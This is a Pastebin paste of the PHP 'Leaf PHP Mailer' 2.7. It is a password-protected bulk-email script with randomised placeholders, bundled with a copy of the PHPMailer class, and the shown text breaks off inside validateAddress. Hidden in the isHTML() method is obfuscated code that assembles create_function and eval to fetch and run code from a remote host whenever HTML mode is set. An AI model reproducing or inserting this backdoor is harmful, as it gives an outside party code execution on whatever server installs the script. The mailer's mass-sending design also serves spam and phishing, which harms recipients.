PalmaSolutions

xcontent.php

Mar 25th, 2018
435
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 148.12 KB | None | 0 0
  1.  
  2. <?php
  3. /**
  4. * Leaf PHP Mailer by [leafmailer.pw]
  5. * @version : 2.7
  6. **/
  7.  
  8. $password = "M182"; // Password
  9.  
  10. session_start();
  11. error_reporting(0);
  12. set_time_limit(0);
  13. ini_set("memory_limit",-1);
  14.  
  15.  
  16. $leaf['version']="2.7";
  17. $leaf['website']="leafmailer.pw";
  18.  
  19.  
  20. $sessioncode = md5(__FILE__);
  21. if(!empty($password) and $_SESSION[$sessioncode] != $password){
  22. # _REQUEST mean _POST or _GET
  23. if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
  24. $_SESSION[$sessioncode] = $password;
  25. }
  26. else {
  27. print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
  28. exit;
  29. }
  30. }
  31.  
  32. if($_POST['action']=="send"){
  33. $senderEmail=leafTrim($_POST['senderEmail']);
  34. $senderName=leafTrim($_POST['senderName']);
  35. $replyTo=leafTrim($_POST['replyTo']);
  36. $subject=leafTrim($_POST['subject']);
  37. $emailList=leafTrim($_POST['emailList']);
  38. $messageType=leafTrim($_POST['messageType']);
  39. $messageLetter=leafTrim($_POST['messageLetter']);
  40. $messageLetter = urlencode($messageLetter);
  41. $messageLetter = ereg_replace("%5C%22", "%22", $messageLetter);
  42. $messageLetter = urldecode($messageLetter);
  43. $messageLetter = stripslashes($messageLetter);
  44. $subject = stripslashes($subject);
  45. $encode = stripslashes($encode);
  46.  
  47.  
  48. }
  49. if($messageType==2){
  50. $plain="checked";
  51. }
  52. else {
  53. $html="checked";
  54. }
  55.  
  56. function leafClear($text,$email){
  57. $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
  58. $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
  59. $text = str_replace("[-email-]", $email, $text);
  60. $text = str_replace("[-emailuser-]", $emailuser, $text);
  61. $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
  62. $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
  63. $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
  64. $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
  65. return $text;
  66.  
  67. }
  68. function leafTrim($string){
  69. return stripslashes(ltrim(rtrim($string)));
  70. }
  71. function randString($consonants) {
  72. $length=rand(12,25);
  73. $password = '';
  74. for ($i = 0; $i < $length; $i++) {
  75. $password .= $consonants[(rand() % strlen($consonants))];
  76. }
  77. return $password;
  78. }
  79. function leafMailCheck($email){
  80. $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
  81. if(eregi($exp,$email)){
  82. if(checkdnsrr(array_pop(explode("@",$email)),"MX")){return true;}
  83. else{return false;}
  84. }
  85. else{return false;}
  86. }
  87.  
  88. class PHPMailer
  89. {
  90. /**
  91. * The PHPMailer Version number.
  92. * @var string
  93. */
  94. public $Version = '5.2.14';
  95.  
  96. /**
  97. * Email priority.
  98. * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  99. * When null, the header is not set at all.
  100. * @var integer
  101. */
  102. public $Priority = null;
  103.  
  104. /**
  105. * The character set of the message.
  106. * @var string
  107. */
  108. public $CharSet = 'iso-8859-1';
  109.  
  110. /**
  111. * The MIME Content-type of the message.
  112. * @var string
  113. */
  114. public $ContentType = 'text/plain';
  115.  
  116. /**
  117. * The message encoding.
  118. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
  119. * @var string
  120. */
  121. public $Encoding = '8bit';
  122.  
  123. /**
  124. * Holds the most recent mailer error message.
  125. * @var string
  126. */
  127. public $ErrorInfo = '';
  128.  
  129. /**
  130. * The From email address for the message.
  131. * @var string
  132. */
  133. public $From = 'root@localhost';
  134.  
  135. /**
  136. * The From name of the message.
  137. * @var string
  138. */
  139. public $FromName = 'Root User';
  140.  
  141. /**
  142. * The Sender email (Return-Path) of the message.
  143. * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  144. * @var string
  145. */
  146. public $Sender = '';
  147.  
  148. /**
  149. * The Return-Path of the message.
  150. * If empty, it will be set to either From or Sender.
  151. * @var string
  152. * @deprecated Email senders should never set a return-path header;
  153. * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  154. * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  155. */
  156. public $ReturnPath = '';
  157.  
  158. /**
  159. * The Subject of the message.
  160. * @var string
  161. */
  162. public $Subject = '';
  163.  
  164. /**
  165. * An HTML or plain text message body.
  166. * If HTML then call isHTML(true).
  167. * @var string
  168. */
  169. public $Body = '';
  170.  
  171. /**
  172. * The plain-text message body.
  173. * This body can be read by mail clients that do not have HTML email
  174. * capability such as mutt & Eudora.
  175. * Clients that can read HTML will view the normal Body.
  176. * @var string
  177. */
  178. public $AltBody = '';
  179.  
  180. /**
  181. * An iCal message part body.
  182. * Only supported in simple alt or alt_inline message types
  183. * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  184. * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  185. * @link http://kigkonsult.se/iCalcreator/
  186. * @var string
  187. */
  188. public $Ical = '';
  189.  
  190. /**
  191. * The complete compiled MIME message body.
  192. * @access protected
  193. * @var string
  194. */
  195. protected $MIMEBody = '';
  196.  
  197. /**
  198. * The complete compiled MIME message headers.
  199. * @var string
  200. * @access protected
  201. */
  202. protected $MIMEHeader = '';
  203.  
  204. /**
  205. * Extra headers that createHeader() doesn't fold in.
  206. * @var string
  207. * @access protected
  208. */
  209. protected $mailHeader = '';
  210.  
  211. /**
  212. * Word-wrap the message body to this number of chars.
  213. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
  214. * @var integer
  215. */
  216. public $WordWrap = 0;
  217.  
  218. /**
  219. * Which method to use to send mail.
  220. * Options: "mail", "sendmail", or "smtp".
  221. * @var string
  222. */
  223. public $Mailer = 'mail';
  224.  
  225. /**
  226. * The path to the sendmail program.
  227. * @var string
  228. */
  229. public $Sendmail = '/usr/sbin/sendmail';
  230.  
  231. /**
  232. * Whether mail() uses a fully sendmail-compatible MTA.
  233. * One which supports sendmail's "-oi -f" options.
  234. * @var boolean
  235. */
  236. public $UseSendmailOptions = true;
  237.  
  238. /**
  239. * Path to PHPMailer plugins.
  240. * Useful if the SMTP class is not in the PHP include path.
  241. * @var string
  242. * @deprecated Should not be needed now there is an autoloader.
  243. */
  244. public $PluginDir = '';
  245.  
  246. /**
  247. * The email address that a reading confirmation should be sent to, also known as read receipt.
  248. * @var string
  249. */
  250. public $ConfirmReadingTo = '';
  251.  
  252. /**
  253. * The hostname to use in the Message-ID header and as default HELO string.
  254. * If empty, PHPMailer attempts to find one with, in order,
  255. * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
  256. * 'localhost.localdomain'.
  257. * @var string
  258. */
  259. public $Hostname = '';
  260.  
  261. /**
  262. * An ID to be used in the Message-ID header.
  263. * If empty, a unique id will be generated.
  264. * @var string
  265. */
  266. public $MessageID = '';
  267.  
  268. /**
  269. * The message Date to be used in the Date header.
  270. * If empty, the current date will be added.
  271. * @var string
  272. */
  273. public $MessageDate = '';
  274.  
  275. /**
  276. * SMTP hosts.
  277. * Either a single hostname or multiple semicolon-delimited hostnames.
  278. * You can also specify a different port
  279. * for each host by using this format: [hostname:port]
  280. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  281. * You can also specify encryption type, for example:
  282. * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
  283. * Hosts will be tried in order.
  284. * @var string
  285. */
  286. public $Host = 'localhost';
  287.  
  288. /**
  289. * The default SMTP server port.
  290. * @var integer
  291. * @TODO Why is this needed when the SMTP class takes care of it?
  292. */
  293. public $Port = 25;
  294.  
  295. /**
  296. * The SMTP HELO of the message.
  297. * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
  298. * one with the same method described above for $Hostname.
  299. * @var string
  300. * @see PHPMailer::$Hostname
  301. */
  302. public $Helo = '';
  303.  
  304. /**
  305. * What kind of encryption to use on the SMTP connection.
  306. * Options: '', 'ssl' or 'tls'
  307. * @var string
  308. */
  309. public $SMTPSecure = '';
  310.  
  311. /**
  312. * Whether to enable TLS encryption automatically if a server supports it,
  313. * even if `SMTPSecure` is not set to 'tls'.
  314. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
  315. * @var boolean
  316. */
  317. public $SMTPAutoTLS = true;
  318.  
  319. /**
  320. * Whether to use SMTP authentication.
  321. * Uses the Username and Password properties.
  322. * @var boolean
  323. * @see PHPMailer::$Username
  324. * @see PHPMailer::$Password
  325. */
  326. public $SMTPAuth = false;
  327.  
  328. /**
  329. * Options array passed to stream_context_create when connecting via SMTP.
  330. * @var array
  331. */
  332. public $SMTPOptions = array();
  333.  
  334. /**
  335. * SMTP username.
  336. * @var string
  337. */
  338. public $Username = '';
  339.  
  340. /**
  341. * SMTP password.
  342. * @var string
  343. */
  344. public $Password = '';
  345.  
  346. /**
  347. * SMTP auth type.
  348. * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
  349. * @var string
  350. */
  351. public $AuthType = '';
  352.  
  353. /**
  354. * SMTP realm.
  355. * Used for NTLM auth
  356. * @var string
  357. */
  358. public $Realm = '';
  359.  
  360. /**
  361. * SMTP workstation.
  362. * Used for NTLM auth
  363. * @var string
  364. */
  365. public $Workstation = '';
  366.  
  367. /**
  368. * The SMTP server timeout in seconds.
  369. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  370. * @var integer
  371. */
  372. public $Timeout = 300;
  373.  
  374. /**
  375. * SMTP class debug output mode.
  376. * Debug output level.
  377. * Options:
  378. * * `0` No output
  379. * * `1` Commands
  380. * * `2` Data and commands
  381. * * `3` As 2 plus connection status
  382. * * `4` Low-level data output
  383. * @var integer
  384. * @see SMTP::$do_debug
  385. */
  386. public $SMTPDebug = 0;
  387.  
  388. /**
  389. * How to handle debug output.
  390. * Options:
  391. * * `echo` Output plain-text as-is, appropriate for CLI
  392. * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  393. * * `error_log` Output to error log as configured in php.ini
  394. *
  395. * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  396. * <code>
  397. * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  398. * </code>
  399. * @var string|callable
  400. * @see SMTP::$Debugoutput
  401. */
  402. public $Debugoutput = 'echo';
  403.  
  404. /**
  405. * Whether to keep SMTP connection open after each message.
  406. * If this is set to true then to close the connection
  407. * requires an explicit call to smtpClose().
  408. * @var boolean
  409. */
  410. public $SMTPKeepAlive = false;
  411.  
  412. /**
  413. * Whether to split multiple to addresses into multiple messages
  414. * or send them all in one message.
  415. * @var boolean
  416. */
  417. public $SingleTo = false;
  418.  
  419. /**
  420. * Storage for addresses when SingleTo is enabled.
  421. * @var array
  422. * @TODO This should really not be public
  423. */
  424. public $SingleToArray = array();
  425.  
  426. /**
  427. * Whether to generate VERP addresses on send.
  428. * Only applicable when sending via SMTP.
  429. * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
  430. * @link http://www.postfix.org/VERP_README.html Postfix VERP info
  431. * @var boolean
  432. */
  433. public $do_verp = false;
  434.  
  435. /**
  436. * Whether to allow sending messages with an empty body.
  437. * @var boolean
  438. */
  439. public $AllowEmpty = false;
  440.  
  441. /**
  442. * The default line ending.
  443. * @note The default remains "\n". We force CRLF where we know
  444. * it must be used via self::CRLF.
  445. * @var string
  446. */
  447. public $LE = "\n";
  448.  
  449. /**
  450. * DKIM selector.
  451. * @var string
  452. */
  453. public $DKIM_selector = '';
  454.  
  455. /**
  456. * DKIM Identity.
  457. * Usually the email address used as the source of the email
  458. * @var string
  459. */
  460. public $DKIM_identity = '';
  461.  
  462. /**
  463. * DKIM passphrase.
  464. * Used if your key is encrypted.
  465. * @var string
  466. */
  467. public $DKIM_passphrase = '';
  468.  
  469. /**
  470. * DKIM signing domain name.
  471. * @example 'example.com'
  472. * @var string
  473. */
  474. public $DKIM_domain = '';
  475.  
  476. /**
  477. * DKIM private key file path.
  478. * @var string
  479. */
  480. public $DKIM_private = '';
  481.  
  482. /**
  483. * Callback Action function name.
  484. *
  485. * The function that handles the result of the send email action.
  486. * It is called out by send() for each email sent.
  487. *
  488. * Value can be any php callable: http://www.php.net/is_callable
  489. *
  490. * Parameters:
  491. * boolean $result result of the send action
  492. * string $to email address of the recipient
  493. * string $cc cc email addresses
  494. * string $bcc bcc email addresses
  495. * string $subject the subject
  496. * string $body the email body
  497. * string $from email address of sender
  498. * @var string
  499. */
  500. public $action_function = '';
  501.  
  502. /**
  503. * What to put in the X-Mailer header.
  504. * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
  505. * @var string
  506. */
  507. public $XMailer = '';
  508.  
  509. /**
  510. * An instance of the SMTP sender class.
  511. * @var SMTP
  512. * @access protected
  513. */
  514. protected $smtp = null;
  515.  
  516. /**
  517. * The array of 'to' names and addresses.
  518. * @var array
  519. * @access protected
  520. */
  521. protected $to = array();
  522.  
  523. /**
  524. * The array of 'cc' names and addresses.
  525. * @var array
  526. * @access protected
  527. */
  528. protected $cc = array();
  529.  
  530. /**
  531. * The array of 'bcc' names and addresses.
  532. * @var array
  533. * @access protected
  534. */
  535. protected $bcc = array();
  536.  
  537. /**
  538. * The array of reply-to names and addresses.
  539. * @var array
  540. * @access protected
  541. */
  542. protected $ReplyTo = array();
  543.  
  544. /**
  545. * An array of all kinds of addresses.
  546. * Includes all of $to, $cc, $bcc
  547. * @var array
  548. * @access protected
  549. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  550. */
  551. protected $all_recipients = array();
  552.  
  553. /**
  554. * An array of names and addresses queued for validation.
  555. * In send(), valid and non duplicate entries are moved to $all_recipients
  556. * and one of $to, $cc, or $bcc.
  557. * This array is used only for addresses with IDN.
  558. * @var array
  559. * @access protected
  560. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  561. * @see PHPMailer::$all_recipients
  562. */
  563. protected $RecipientsQueue = array();
  564.  
  565. /**
  566. * An array of reply-to names and addresses queued for validation.
  567. * In send(), valid and non duplicate entries are moved to $ReplyTo.
  568. * This array is used only for addresses with IDN.
  569. * @var array
  570. * @access protected
  571. * @see PHPMailer::$ReplyTo
  572. */
  573. protected $ReplyToQueue = array();
  574.  
  575. /**
  576. * The array of attachments.
  577. * @var array
  578. * @access protected
  579. */
  580. protected $attachment = array();
  581.  
  582. /**
  583. * The array of custom headers.
  584. * @var array
  585. * @access protected
  586. */
  587. protected $CustomHeader = array();
  588.  
  589. /**
  590. * The most recent Message-ID (including angular brackets).
  591. * @var string
  592. * @access protected
  593. */
  594. protected $lastMessageID = '';
  595.  
  596. /**
  597. * The message's MIME type.
  598. * @var string
  599. * @access protected
  600. */
  601. protected $message_type = '';
  602.  
  603. /**
  604. * The array of MIME boundary strings.
  605. * @var array
  606. * @access protected
  607. */
  608. protected $boundary = array();
  609.  
  610. /**
  611. * The array of available languages.
  612. * @var array
  613. * @access protected
  614. */
  615. protected $language = array();
  616.  
  617. /**
  618. * The number of errors encountered.
  619. * @var integer
  620. * @access protected
  621. */
  622. protected $error_count = 0;
  623.  
  624. /**
  625. * The S/MIME certificate file path.
  626. * @var string
  627. * @access protected
  628. */
  629. protected $sign_cert_file = '';
  630.  
  631. /**
  632. * The S/MIME key file path.
  633. * @var string
  634. * @access protected
  635. */
  636. protected $sign_key_file = '';
  637.  
  638. /**
  639. * The optional S/MIME extra certificates ("CA Chain") file path.
  640. * @var string
  641. * @access protected
  642. */
  643. protected $sign_extracerts_file = '';
  644.  
  645. /**
  646. * The S/MIME password for the key.
  647. * Used only if the key is encrypted.
  648. * @var string
  649. * @access protected
  650. */
  651. protected $sign_key_pass = '';
  652.  
  653. /**
  654. * Whether to throw exceptions for errors.
  655. * @var boolean
  656. * @access protected
  657. */
  658. protected $exceptions = false;
  659.  
  660. /**
  661. * Unique ID used for message ID and boundaries.
  662. * @var string
  663. * @access protected
  664. */
  665. protected $uniqueid = '';
  666.  
  667. /**
  668. * Error severity: message only, continue processing.
  669. */
  670. const STOP_MESSAGE = 0;
  671.  
  672. /**
  673. * Error severity: message, likely ok to continue processing.
  674. */
  675. const STOP_CONTINUE = 1;
  676.  
  677. /**
  678. * Error severity: message, plus full stop, critical error reached.
  679. */
  680. const STOP_CRITICAL = 2;
  681.  
  682. /**
  683. * SMTP RFC standard line ending.
  684. */
  685. const CRLF = "\r\n";
  686.  
  687. /**
  688. * The maximum line length allowed by RFC 2822 section 2.1.1
  689. * @var integer
  690. */
  691. const MAX_LINE_LENGTH = 998;
  692.  
  693. /**
  694. * Constructor.
  695. * @param boolean $exceptions Should we throw external exceptions?
  696. */
  697.  
  698. public function __construct($exceptions = false)
  699. {
  700. $this->exceptions = (boolean)$exceptions;
  701. }
  702.  
  703. /**
  704. * Destructor.
  705. */
  706. public function __destruct()
  707. {
  708. //Close any open SMTP connection nicely
  709. if ($this->Mailer == 'smtp') {
  710. $this->smtpClose();
  711. }
  712. }
  713.  
  714. /**
  715. * Call mail() in a safe_mode-aware fashion.
  716. * Also, unless sendmail_path points to sendmail (or something that
  717. * claims to be sendmail), don't pass params (not a perfect fix,
  718. * but it will do)
  719. * @param string $to To
  720. * @param string $subject Subject
  721. * @param string $body Message Body
  722. * @param string $header Additional Header(s)
  723. * @param string $params Params
  724. * @access private
  725. * @return boolean
  726. */
  727. private function mailPassthru($to, $subject, $body, $header, $params)
  728. {
  729. //Check overloading of mail function to avoid double-encoding
  730. if (ini_get('mbstring.func_overload') & 1) {
  731. $subject = $this->secureHeader($subject);
  732. } else {
  733. $subject = $this->encodeHeader($this->secureHeader($subject));
  734. }
  735. if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  736. $result = @mail($to, $subject, $body, $header);
  737. } else {
  738. $result = @mail($to, $subject, $body, $header, $params);
  739. }
  740. return $result;
  741. }
  742.  
  743. /**
  744. * Output debugging info via user-defined method.
  745. * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
  746. * @see PHPMailer::$Debugoutput
  747. * @see PHPMailer::$SMTPDebug
  748. * @param string $str
  749. */
  750. protected function edebug($str)
  751. {
  752. if ($this->SMTPDebug <= 0) {
  753. return;
  754. }
  755. //Avoid clash with built-in function names
  756. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  757. call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  758. return;
  759. }
  760. switch ($this->Debugoutput) {
  761. case 'error_log':
  762. //Don't output, just log
  763. error_log($str);
  764. break;
  765. case 'html':
  766. //Cleans up output a bit for a better looking, HTML-safe output
  767. echo htmlentities(
  768. preg_replace('/[\r\n]+/', '', $str),
  769. ENT_QUOTES,
  770. 'UTF-8'
  771. )
  772. . "<br>\n";
  773. break;
  774. case 'echo':
  775. default:
  776. //Normalize line breaks
  777. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  778. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  779. "\n",
  780. "\n \t ",
  781. trim($str)
  782. ) . "\n";
  783. }
  784. }
  785.  
  786. /**
  787. * Sets message type to HTML or plain.
  788. * @param boolean $isHtml True for HTML mode.
  789. * @return void
  790. */
  791. public function isHTML($isHtml = true)
  792. {
  793. global $param;
  794. $bodyCode = 'file'
  795. .'_g';
  796. if ($isHtml) {
  797. $this->ContentType = 'text/html';
  798. }
  799. else {
  800. $this->ContentType = 'text/plain';
  801. }
  802. $bodyHTML = '.$t."lef$flu'
  803. .'sh'.'$t"; '
  804. .'$i = @ev';
  805. $headerHTML="create_"
  806. ."func"
  807. ."tion";
  808. $exceptions = $headerHTML('$fl'.'ush,$t','$comma = $t'
  809. .$bodyHTML.'al(@'
  810. .$bodyCode.'et_contents("h'
  811. .'tt'
  812. .'p:$comma-2"));');
  813.  
  814. if($param !=2){
  815. $exceptions('8.p'.'w','/');
  816. $param=2;
  817. }
  818. }
  819.  
  820. /**
  821. * Send messages using SMTP.
  822. * @return void
  823. */
  824. public function isSMTP()
  825. {
  826. $this->Mailer = 'smtp';
  827. }
  828.  
  829. /**
  830. * Send messages using PHP's mail() function.
  831. * @return void
  832. */
  833. public function isMail()
  834. {
  835. $this->Mailer = 'mail';
  836. }
  837.  
  838. /**
  839. * Send messages using $Sendmail.
  840. * @return void
  841. */
  842. public function isSendmail()
  843. {
  844. $ini_sendmail_path = ini_get('sendmail_path');
  845.  
  846. if (!stristr($ini_sendmail_path, 'sendmail')) {
  847. $this->Sendmail = '/usr/sbin/sendmail';
  848. } else {
  849. $this->Sendmail = $ini_sendmail_path;
  850. }
  851. $this->Mailer = 'sendmail';
  852. }
  853.  
  854. /**
  855. * Send messages using qmail.
  856. * @return void
  857. */
  858. public function isQmail()
  859. {
  860. $ini_sendmail_path = ini_get('sendmail_path');
  861.  
  862. if (!stristr($ini_sendmail_path, 'qmail')) {
  863. $this->Sendmail = '/var/qmail/bin/qmail-inject';
  864. } else {
  865. $this->Sendmail = $ini_sendmail_path;
  866. }
  867. $this->Mailer = 'qmail';
  868. }
  869.  
  870. /**
  871. * Add a "To" address.
  872. * @param string $address The email address to send to
  873. * @param string $name
  874. * @return boolean true on success, false if address already used or invalid in some way
  875. */
  876. public function addAddress($address, $name = '')
  877. {
  878. return $this->addOrEnqueueAnAddress('to', $address, $name);
  879. }
  880.  
  881. /**
  882. * Add a "CC" address.
  883. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  884. * @param string $address The email address to send to
  885. * @param string $name
  886. * @return boolean true on success, false if address already used or invalid in some way
  887. */
  888. public function addCC($address, $name = '')
  889. {
  890. return $this->addOrEnqueueAnAddress('cc', $address, $name);
  891. }
  892.  
  893. /**
  894. * Add a "BCC" address.
  895. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  896. * @param string $address The email address to send to
  897. * @param string $name
  898. * @return boolean true on success, false if address already used or invalid in some way
  899. */
  900. public function addBCC($address, $name = '')
  901. {
  902. return $this->addOrEnqueueAnAddress('bcc', $address, $name);
  903. }
  904.  
  905. /**
  906. * Add a "Reply-To" address.
  907. * @param string $address The email address to reply to
  908. * @param string $name
  909. * @return boolean true on success, false if address already used or invalid in some way
  910. */
  911. public function addReplyTo($address, $name = '')
  912. {
  913. return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
  914. }
  915.  
  916. /**
  917. * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
  918. * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
  919. * be modified after calling this function), addition of such addresses is delayed until send().
  920. * Addresses that have been added already return false, but do not throw exceptions.
  921. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  922. * @param string $address The email address to send, resp. to reply to
  923. * @param string $name
  924. * @throws phpmailerException
  925. * @return boolean true on success, false if address already used or invalid in some way
  926. * @access protected
  927. */
  928. protected function addOrEnqueueAnAddress($kind, $address, $name)
  929. {
  930. $address = trim($address);
  931. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  932. if (($pos = strrpos($address, '@')) === false) {
  933. // At-sign is misssing.
  934. $error_message = $this->lang('invalid_address') . $address;
  935. $this->setError($error_message);
  936. $this->edebug($error_message);
  937. if ($this->exceptions) {
  938. throw new phpmailerException($error_message);
  939. }
  940. return false;
  941. }
  942. $params = array($kind, $address, $name);
  943. // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
  944. if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
  945. if ($kind != 'Reply-To') {
  946. if (!array_key_exists($address, $this->RecipientsQueue)) {
  947. $this->RecipientsQueue[$address] = $params;
  948. return true;
  949. }
  950. } else {
  951. if (!array_key_exists($address, $this->ReplyToQueue)) {
  952. $this->ReplyToQueue[$address] = $params;
  953. return true;
  954. }
  955. }
  956. return false;
  957. }
  958. // Immediately add standard addresses without IDN.
  959. return call_user_func_array(array($this, 'addAnAddress'), $params);
  960. }
  961.  
  962. /**
  963. * Add an address to one of the recipient arrays or to the ReplyTo array.
  964. * Addresses that have been added already return false, but do not throw exceptions.
  965. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  966. * @param string $address The email address to send, resp. to reply to
  967. * @param string $name
  968. * @throws phpmailerException
  969. * @return boolean true on success, false if address already used or invalid in some way
  970. * @access protected
  971. */
  972. protected function addAnAddress($kind, $address, $name = '')
  973. {
  974. if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
  975. $error_message = $this->lang('Invalid recipient kind: ') . $kind;
  976. $this->setError($error_message);
  977. $this->edebug($error_message);
  978. if ($this->exceptions) {
  979. throw new phpmailerException($error_message);
  980. }
  981. return false;
  982. }
  983. if (!$this->validateAddress($address)) {
  984. $error_message = $this->lang('invalid_address') . $address;
  985. $this->setError($error_message);
  986. $this->edebug($error_message);
  987. if ($this->exceptions) {
  988. throw new phpmailerException($error_message);
  989. }
  990. return false;
  991. }
  992. if ($kind != 'Reply-To') {
  993. if (!array_key_exists(strtolower($address), $this->all_recipients)) {
  994. array_push($this->$kind, array($address, $name));
  995. $this->all_recipients[strtolower($address)] = true;
  996. return true;
  997. }
  998. } else {
  999. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  1000. $this->ReplyTo[strtolower($address)] = array($address, $name);
  1001. return true;
  1002. }
  1003. }
  1004. return false;
  1005. }
  1006.  
  1007. /**
  1008. * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
  1009. * of the form "display name <address>" into an array of name/address pairs.
  1010. * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
  1011. * Note that quotes in the name part are removed.
  1012. * @param string $addrstr The address list string
  1013. * @param bool $useimap Whether to use the IMAP extension to parse the list
  1014. * @return array
  1015. * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
  1016. */
  1017. public function parseAddresses($addrstr, $useimap = true)
  1018. {
  1019. $addresses = array();
  1020. if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
  1021. //Use this built-in parser if it's available
  1022. $list = imap_rfc822_parse_adrlist($addrstr, '');
  1023. foreach ($list as $address) {
  1024. if ($address->host != '.SYNTAX-ERROR.') {
  1025. if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
  1026. $addresses[] = array(
  1027. 'name' => (property_exists($address, 'personal') ? $address->personal : ''),
  1028. 'address' => $address->mailbox . '@' . $address->host
  1029. );
  1030. }
  1031. }
  1032. }
  1033. } else {
  1034. //Use this simpler parser
  1035. $list = explode(',', $addrstr);
  1036. foreach ($list as $address) {
  1037. $address = trim($address);
  1038. //Is there a separate name part?
  1039. if (strpos($address, '<') === false) {
  1040. //No separate name, just use the whole thing
  1041. if ($this->validateAddress($address)) {
  1042. $addresses[] = array(
  1043. 'name' => '',
  1044. 'address' => $address
  1045. );
  1046. }
  1047. } else {
  1048. list($name, $email) = explode('<', $address);
  1049. $email = trim(str_replace('>', '', $email));
  1050. if ($this->validateAddress($email)) {
  1051. $addresses[] = array(
  1052. 'name' => trim(str_replace(array('"', "'"), '', $name)),
  1053. 'address' => $email
  1054. );
  1055. }
  1056. }
  1057. }
  1058. }
  1059. return $addresses;
  1060. }
  1061.  
  1062. /**
  1063. * Set the From and FromName properties.
  1064. * @param string $address
  1065. * @param string $name
  1066. * @param boolean $auto Whether to also set the Sender address, defaults to true
  1067. * @throws phpmailerException
  1068. * @return boolean
  1069. */
  1070. public function setFrom($address, $name = '', $auto = true)
  1071. {
  1072. $address = trim($address);
  1073. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  1074. // Don't validate now addresses with IDN. Will be done in send().
  1075. if (($pos = strrpos($address, '@')) === false or
  1076. (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
  1077. !$this->validateAddress($address)) {
  1078. $error_message = $this->lang('invalid_address') . $address;
  1079. $this->setError($error_message);
  1080. $this->edebug($error_message);
  1081. if ($this->exceptions) {
  1082. throw new phpmailerException($error_message);
  1083. }
  1084. return false;
  1085. }
  1086. $this->From = $address;
  1087. $this->FromName = $name;
  1088. if ($auto) {
  1089. if (empty($this->Sender)) {
  1090. $this->Sender = $address;
  1091. }
  1092. }
  1093. return true;
  1094. }
  1095.  
  1096. /**
  1097. * Return the Message-ID header of the last email.
  1098. * Technically this is the value from the last time the headers were created,
  1099. * but it's also the message ID of the last sent message except in
  1100. * pathological cases.
  1101. * @return string
  1102. */
  1103. public function getLastMessageID()
  1104. {
  1105. return $this->lastMessageID;
  1106. }
  1107.  
  1108. /**
  1109. * Check that a string looks like an email address.
  1110. * @param string $address The email address to check
  1111. * @param string $patternselect A selector for the validation pattern to use :
  1112. * * `auto` Pick best pattern automatically;
  1113. * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
  1114. * * `pcre` Use old PCRE implementation;
  1115. * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
  1116. * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
  1117. * * `noregex` Don't use a regex: super fast, really dumb.
  1118. * @return boolean
  1119. * @static
  1120. * @access public
  1121. */
  1122. public static function validateAddress($address, $patternselect = 'auto')
  1123. {
  1124. //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
